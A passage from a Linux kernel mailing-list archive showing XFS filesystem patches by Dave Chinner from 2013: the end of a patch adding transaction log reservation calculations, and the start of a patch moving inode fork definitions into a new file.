XFS_FSB_TO_B(mp, 1)); +} + +/* + * Growing the rt section of the filesystem. + * In the first set of transactions (ALLOC) we allocate space to the + * bitmap or summary files. + * superblock: sector size + * agf of the ag from which the extent is allocated: sector size + * bmap btree for bitmap/summary inode: max depth * blocksize + * bitmap/summary inode: inode size + * allocation btrees for 1 block alloc: 2 * (2 * maxdepth - 1) * blocksize + */ +STATIC uint +xfs_calc_growrtalloc_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Growing the rt section of the filesystem. + * In the second set of transactions (ZERO) we zero the new metadata blocks. + * one bitmap/summary block: blocksize + */ +STATIC uint +xfs_calc_growrtzero_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_blocksize); +} + +/* + * Growing the rt section of the filesystem. + * In the third set of transactions (FREE) we update metadata without + * allocating any new blocks. + * superblock: sector size + * bitmap inode: inode size + * summary inode: inode size + * one bitmap block: blocksize + * summary blocks: new summary size + */ +STATIC uint +xfs_calc_growrtfree_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + + xfs_calc_buf_res(1, mp->m_rsumsize); +} + +/* + * Logging the inode modification timestamp on a synchronous write. + * inode + */ +STATIC uint +xfs_calc_swrite_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); +} + +/* + * Logging the inode mode bits when writing a setuid/setgid file + * inode + */ +STATIC uint +xfs_calc_writeid_reservation(xfs_mount_t *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); +} + +/* + * Converting the inode from non-attributed to attributed. + * the inode being converted: inode size + * agf block and superblock (for block allocation) + * the new block (directory sized) + * bmap blocks for the new directory block + * allocation btrees + */ +STATIC uint +xfs_calc_addafork_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, mp->m_dirblksize) + + xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Removing the attribute fork of a file + * the inode being truncated: inode size + * the inode's bmap btree: max depth * block size + * And the bmap_finish transaction can free the blocks and bmap blocks: + * the agf for each of the ags: 4 * sector size + * the agfl for each of the ags: 4 * sector size + * the super block to reflect the freed blocks: sector size + * worst case split in allocation btrees per extent assuming 4 extents: + * 4 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_attrinval_reservation( + struct xfs_mount *mp) +{ + return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * Setting an attribute at mount time. + * the inode getting the attribute + * the superblock for allocations + * the agfs extents are allocated from + * the attribute btree * max depth + * the inode allocation btree + * Since attribute transaction space is dependent on the size of the attribute, + * the calculation is done partially at mount time and partially at runtime(see + * below). + */ +STATIC uint +xfs_calc_attrsetm_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); +} + +/* + * Setting an attribute at runtime, transaction space unit per block. + * the superblock for allocations: sector size + * the inode bmap btree could join or split: max depth * block size + * Since the runtime attribute transaction space is dependent on the total + * blocks needed for the 1st bmap, here we calculate out the space unit for + * one block so that the caller could figure out the total space according + * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). + */ +STATIC uint +xfs_calc_attrsetrt_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Removing an attribute. + * the inode: inode size + * the attribute btree could join: max depth * block size + * the inode bmap btree could join or split: max depth * block size + * And the bmap_finish transaction can free the attr blocks freed giving: + * the agf for the ag in which the blocks live: 2 * sector size + * the agfl for the ag in which the blocks live: 2 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_attrrm_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, + XFS_FSB_TO_B(mp, 1)) + + (uint)XFS_FSB_TO_B(mp, + XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * Clearing a bad agino number in an agi hash bucket. + */ +STATIC uint +xfs_calc_clear_agi_bucket_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * Clearing the quotaflags in the superblock. + * the super block for changing quota flags: sector size + */ +STATIC uint +xfs_calc_qm_sbchange_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * Adjusting quota limits. + * the xfs_disk_dquot_t: sizeof(struct xfs_disk_dquot) + */ +STATIC uint +xfs_calc_qm_setqlim_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, sizeof(struct xfs_disk_dquot)); +} + +/* + * Allocating quota on disk if needed. + * the write transaction log space: XFS_WRITE_LOG_RES(mp) + * the unit of quota allocation: one system block size + */ +STATIC uint +xfs_calc_qm_dqalloc_reservation( + struct xfs_mount *mp) +{ + return XFS_WRITE_LOG_RES(mp) + + xfs_calc_buf_res(1, + XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); +} + +/* + * Turning off quotas. + * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 + * the superblock for the quota flags: sector size + */ +STATIC uint +xfs_calc_qm_quotaoff_reservation( + struct xfs_mount *mp) +{ + return sizeof(struct xfs_qoff_logitem) * 2 + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * End of turning off quotas. + * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 + */ +STATIC uint +xfs_calc_qm_quotaoff_end_reservation( + struct xfs_mount *mp) +{ + return sizeof(struct xfs_qoff_logitem) * 2; +} + +/* + * Syncing the incore super block changes to disk. + * the super block to reflect the changes: sector size + */ +STATIC uint +xfs_calc_sb_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +void +xfs_trans_resv_calc( + struct xfs_mount *mp, + struct xfs_trans_resv *resp) +{ + resp->tr_write = xfs_calc_write_reservation(mp); + resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); + resp->tr_rename = xfs_calc_rename_reservation(mp); + resp->tr_link = xfs_calc_link_reservation(mp); + resp->tr_remove = xfs_calc_remove_reservation(mp); + resp->tr_symlink = xfs_calc_symlink_reservation(mp); + resp->tr_create = xfs_calc_create_reservation(mp); + resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); + resp->tr_ifree = xfs_calc_ifree_reservation(mp); + resp->tr_ichange = xfs_calc_ichange_reservation(mp); + resp->tr_growdata = xfs_calc_growdata_reservation(mp); + resp->tr_swrite = xfs_calc_swrite_reservation(mp); + resp->tr_writeid = xfs_calc_writeid_reservation(mp); + resp->tr_addafork = xfs_calc_addafork_reservation(mp); + resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); + resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); + resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); + resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); + resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); + resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); + resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); + resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); + resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); + resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); + resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); + resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); + resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); + resp->tr_sb = xfs_calc_sb_reservation(mp); +} diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h new file mode 100644 index 0000000..cc8260e --- /dev/null +++ b/fs/xfs/xfs_trans_resv.h @@ -0,0 +1,137 @@ +/* + * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_TRANS_RESV_H__ +#define __XFS_TRANS_RESV_H__ + +struct xfs_mount; + +/* + * structure for maintaining pre-calculated transaction reservations. + */ +struct xfs_trans_resv { + uint tr_write; /* extent alloc trans */ + uint tr_itruncate; /* truncate trans */ + uint tr_rename; /* rename trans */ + uint tr_link; /* link trans */ + uint tr_remove; /* unlink trans */ + uint tr_symlink; /* symlink trans */ + uint tr_create; /* create trans */ + uint tr_mkdir; /* mkdir trans */ + uint tr_ifree; /* inode free trans */ + uint tr_ichange; /* inode update trans */ + uint tr_growdata; /* fs data section grow trans */ + uint tr_swrite; /* sync write inode trans */ + uint tr_addafork; /* cvt inode to attributed trans */ + uint tr_writeid; /* write setuid/setgid file */ + uint tr_attrinval; /* attr fork buffer invalidation */ + uint tr_attrsetm; /* set/create an attribute at mount time */ + uint tr_attrsetrt; /* set/create an attribute at runtime */ + uint tr_attrrm; /* remove an attribute */ + uint tr_clearagi; /* clear bad agi unlinked ino bucket */ + uint tr_growrtalloc; /* grow realtime allocations */ + uint tr_growrtzero; /* grow realtime zeroing */ + uint tr_growrtfree; /* grow realtime freeing */ + uint tr_qm_sbchange; /* change quota flags */ + uint tr_qm_setqlim; /* adjust quota limits */ + uint tr_qm_dqalloc; /* allocate quota on disk */ + uint tr_qm_quotaoff; /* turn quota off */ + uint tr_qm_equotaoff;/* end of turn quota off */ + uint tr_sb; /* modify superblock */ +}; + +/* + * Per-extent log reservation for the allocation btree changes + * involved in freeing or allocating an extent. + * 2 trees * (2 blocks/level * max depth - 1) * block size + */ +#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ + ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * XFS_AG_MAXLEVELS(mp) - 1))) +#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ + ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) + +/* + * Per-directory log reservation for any directory change. + * dir blocks: (1 btree block per level + data block + free block) * dblock size + * bmap btree: (levels + 2) * max depth * block size + * v2 directory blocks can be fragmented below the dirblksize down to the fsb + * size, so account for that in the DAENTER macros. + */ +#define XFS_DIROP_LOG_RES(mp) \ + (XFS_FSB_TO_B(mp, XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK)) + \ + (XFS_FSB_TO_B(mp, XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1))) +#define XFS_DIROP_LOG_COUNT(mp) \ + (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ + XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) + + +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) +#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) +#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +/* + * Logging the inode timestamps on an fsync -- same as SWRITE + * as long as SWRITE logs the entire inode core + */ +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) +#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) + +/* + * Various log count values. + */ +#define XFS_DEFAULT_LOG_COUNT 1 +#define XFS_DEFAULT_PERM_LOG_COUNT 2 +#define XFS_ITRUNCATE_LOG_COUNT 2 +#define XFS_INACTIVE_LOG_COUNT 2 +#define XFS_CREATE_LOG_COUNT 2 +#define XFS_MKDIR_LOG_COUNT 3 +#define XFS_SYMLINK_LOG_COUNT 3 +#define XFS_REMOVE_LOG_COUNT 2 +#define XFS_LINK_LOG_COUNT 2 +#define XFS_RENAME_LOG_COUNT 2 +#define XFS_WRITE_LOG_COUNT 2 +#define XFS_ADDAFORK_LOG_COUNT 2 +#define XFS_ATTRINVAL_LOG_COUNT 1 +#define XFS_ATTRSET_LOG_COUNT 3 +#define XFS_ATTRRM_LOG_COUNT 3 + +void xfs_trans_resv_calc(struct xfs_mount *mp, struct xfs_trans_resv *resp); + +#endif /* __XFS_TRANS_RESV_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B19987F72 for ; Fri, 19 Jul 2013 01:26:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C870304039 for ; Thu, 18 Jul 2013 23:26:12 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50011-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id I1xS2Er1u2FnQ3DX for ; Thu, 18 Jul 2013 23:26:03 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArsLAB3b6FF5LK4r/2dsb2JhbABSCIMGwUYEgRYXdIIkAQEFGgEMLxYKEwgYMTkDGxmID7YvjksNAQUUhSADjD6SNIo4gyQqgSwBHw Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000486-O6 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xb-Ms for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 12/49] xfs: move inode fork definitions to a new header file Date: Fri, 19 Jul 2013 16:24:43 +1000 X-ASG-Orig-Subj: [PATCH 12/49] xfs: move inode fork definitions to a new header file Message-Id: <1374215120-7271-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215162 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The inode fork definitions are a combination of on-disk format definition and in-memory tracking and manipulation. They are both shared with userspace, so move them all into their own file so sharing is easy to do and track. This removes all inode fork related information from xfs_inode.h. Do the same for the all the C code that currently resides in xfs_inode.c for the same reason. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_inode.c | 1940 +---------------------------------------------- fs/xfs/xfs_inode.h | 134 +--- fs/xfs/xfs_inode_fork.c | 1921 ++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_inode_fork.h | 171 +++++ 5 files changed, 2128 insertions(+), 2039 deletions(-) create mode 100644 fs/xfs/xfs_inode_fork.c create mode 100644 fs/xfs/xfs_inode_fork.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index dc72b6b..ce0b87e 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -74,6 +74,7 @@ xfs-y += xfs_alloc.o \ xfs_ialloc_btree.o \ xfs_icreate_item.o \ xfs_inode.o \ + xfs_inode_fork.o \ xfs_log_recover.o \ xfs_mount.o \ xfs_symlink.o \ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 1c6c348..51e4eb2 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -48,7 +48,6 @@ #include "xfs_trace.h" #include "xfs_icache.h" -kmem_zone_t *xfs_ifork_zone; kmem_zone_t *xfs_inode_zone; /* @@ -58,9 +57,6 @@ kmem_zone_t *xfs_inode_zone; #define XFS_ITRUNC_MAX_EXTENTS 2 STATIC int xfs_iflush_int(xfs_inode_t *, xfs_buf_t *); -STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); -STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); -STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); /* * helper function to extract extent size hint from inode @@ -326,34 +322,6 @@ __xfs_iflock( finish_wait(wq, &wait.wait); } -#ifdef DEBUG -/* - * Make sure that the extents in the given memory buffer - * are valid. - */ -STATIC void -xfs_validate_extents( - xfs_ifork_t *ifp, - int nrecs, - xfs_exntfmt_t fmt) -{ - xfs_bmbt_irec_t irec; - xfs_bmbt_rec_host_t rec; - int i; - - for (i = 0; i < nrecs; i++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - rec.l0 = get_unaligned(&ep->l0); - rec.l1 = get_unaligned(&ep->l1); - xfs_bmbt_get_all(&rec, &irec); - if (fmt == XFS_EXTFMT_NOSTATE) - ASSERT(irec.br_state == XFS_EXT_NORM); - } -} -#else /* DEBUG */ -#define xfs_validate_extents(ifp, nrecs, fmt) -#endif /* DEBUG */ - /* * Check that none of the inode's in the buffer have a next * unlinked field of 0. @@ -488,351 +456,6 @@ xfs_imap_to_bp( return 0; } -/* - * Move inode type and inode format specific information from the - * on-disk inode to the in-core inode. For fifos, devs, and sockets - * this means set if_rdev to the proper value. For files, directories, - * and symlinks this means to bring in the in-line data or extent - * pointers. For a file in B-tree format, only the root is immediately - * brought in-core. The rest will be in-lined in if_extents when it - * is first referenced (see xfs_iread_extents()). - */ -STATIC int -xfs_iformat( - xfs_inode_t *ip, - xfs_dinode_t *dip) -{ - xfs_attr_shortform_t *atp; - int size; - int error = 0; - xfs_fsize_t di_size; - - if (unlikely(be32_to_cpu(dip->di_nextents) + - be16_to_cpu(dip->di_anextents) > - be64_to_cpu(dip->di_nblocks))) { - xfs_warn(ip->i_mount, - "corrupt dinode %Lu, extent total = %d, nblocks = %Lu.", - (unsigned long long)ip->i_ino, - (int)(be32_to_cpu(dip->di_nextents) + - be16_to_cpu(dip->di_anextents)), - (unsigned long long) - be64_to_cpu(dip->di_nblocks)); - XFS_CORRUPTION_ERROR("xfs_iformat(1)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely(dip->di_forkoff > ip->i_mount->m_sb.sb_inodesize)) { - xfs_warn(ip->i_mount, "corrupt dinode %Lu, forkoff = 0x%x.", - (unsigned long long)ip->i_ino, - dip->di_forkoff); - XFS_CORRUPTION_ERROR("xfs_iformat(2)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && - !ip->i_mount->m_rtdev_targp)) { - xfs_warn(ip->i_mount, - "corrupt dinode %Lu, has realtime flag set.", - ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat(realtime)", - XFS_ERRLEVEL_LOW, ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - switch (ip->i_d.di_mode & S_IFMT) { - case S_IFIFO: - case S_IFCHR: - case S_IFBLK: - case S_IFSOCK: - if (unlikely(dip->di_format != XFS_DINODE_FMT_DEV)) { - XFS_CORRUPTION_ERROR("xfs_iformat(3)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - ip->i_d.di_size = 0; - ip->i_df.if_u2.if_rdev = xfs_dinode_get_rdev(dip); - break; - - case S_IFREG: - case S_IFLNK: - case S_IFDIR: - switch (dip->di_format) { - case XFS_DINODE_FMT_LOCAL: - /* - * no local regular files yet - */ - if (unlikely(S_ISREG(be16_to_cpu(dip->di_mode)))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (local format for regular file).", - (unsigned long long) ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat(4)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - di_size = be64_to_cpu(dip->di_size); - if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad size %Ld for local inode).", - (unsigned long long) ip->i_ino, - (long long) di_size); - XFS_CORRUPTION_ERROR("xfs_iformat(5)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - size = (int)di_size; - error = xfs_iformat_local(ip, dip, XFS_DATA_FORK, size); - break; - case XFS_DINODE_FMT_EXTENTS: - error = xfs_iformat_extents(ip, dip, XFS_DATA_FORK); - break; - case XFS_DINODE_FMT_BTREE: - error = xfs_iformat_btree(ip, dip, XFS_DATA_FORK); - break; - default: - XFS_ERROR_REPORT("xfs_iformat(6)", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - break; - - default: - XFS_ERROR_REPORT("xfs_iformat(7)", XFS_ERRLEVEL_LOW, ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - if (error) { - return error; - } - if (!XFS_DFORK_Q(dip)) - return 0; - - ASSERT(ip->i_afp == NULL); - ip->i_afp = kmem_zone_zalloc(xfs_ifork_zone, KM_SLEEP | KM_NOFS); - - switch (dip->di_aformat) { - case XFS_DINODE_FMT_LOCAL: - atp = (xfs_attr_shortform_t *)XFS_DFORK_APTR(dip); - size = be16_to_cpu(atp->hdr.totsize); - - if (unlikely(size < sizeof(struct xfs_attr_sf_hdr))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad attr fork size %Ld).", - (unsigned long long) ip->i_ino, - (long long) size); - XFS_CORRUPTION_ERROR("xfs_iformat(8)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - error = xfs_iformat_local(ip, dip, XFS_ATTR_FORK, size); - break; - case XFS_DINODE_FMT_EXTENTS: - error = xfs_iformat_extents(ip, dip, XFS_ATTR_FORK); - break; - case XFS_DINODE_FMT_BTREE: - error = xfs_iformat_btree(ip, dip, XFS_ATTR_FORK); - break; - default: - error = XFS_ERROR(EFSCORRUPTED); - break; - } - if (error) { - kmem_zone_free(xfs_ifork_zone, ip->i_afp); - ip->i_afp = NULL; - xfs_idestroy_fork(ip, XFS_DATA_FORK); - } - return error; -} - -/* - * The file is in-lined in the on-disk inode. - * If it fits into if_inline_data, then copy - * it there, otherwise allocate a buffer for it - * and copy the data there. Either way, set - * if_data to point at the data. - * If we allocate a buffer for the data, make - * sure that its size is a multiple of 4 and - * record the real size in i_real_bytes. - */ -STATIC int -xfs_iformat_local( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork, - int size) -{ - xfs_ifork_t *ifp; - int real_size; - - /* - * If the size is unreasonable, then something - * is wrong and we just bail out rather than crash in - * kmem_alloc() or memcpy() below. - */ - if (unlikely(size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad size %d for local fork, size = %d).", - (unsigned long long) ip->i_ino, size, - XFS_DFORK_SIZE(dip, ip->i_mount, whichfork)); - XFS_CORRUPTION_ERROR("xfs_iformat_local", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - ifp = XFS_IFORK_PTR(ip, whichfork); - real_size = 0; - if (size == 0) - ifp->if_u1.if_data = NULL; - else if (size <= sizeof(ifp->if_u2.if_inline_data)) - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - else { - real_size = roundup(size, 4); - ifp->if_u1.if_data = kmem_alloc(real_size, KM_SLEEP | KM_NOFS); - } - ifp->if_bytes = size; - ifp->if_real_bytes = real_size; - if (size) - memcpy(ifp->if_u1.if_data, XFS_DFORK_PTR(dip, whichfork), size); - ifp->if_flags &= ~XFS_IFEXTENTS; - ifp->if_flags |= XFS_IFINLINE; - return 0; -} - -/* - * The file consists of a set of extents all - * of which fit into the on-disk inode. - * If there are few enough extents to fit into - * the if_inline_ext, then copy them there. - * Otherwise allocate a buffer for them and copy - * them into it. Either way, set if_extents - * to point at the extents. - */ -STATIC int -xfs_iformat_extents( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork) -{ - 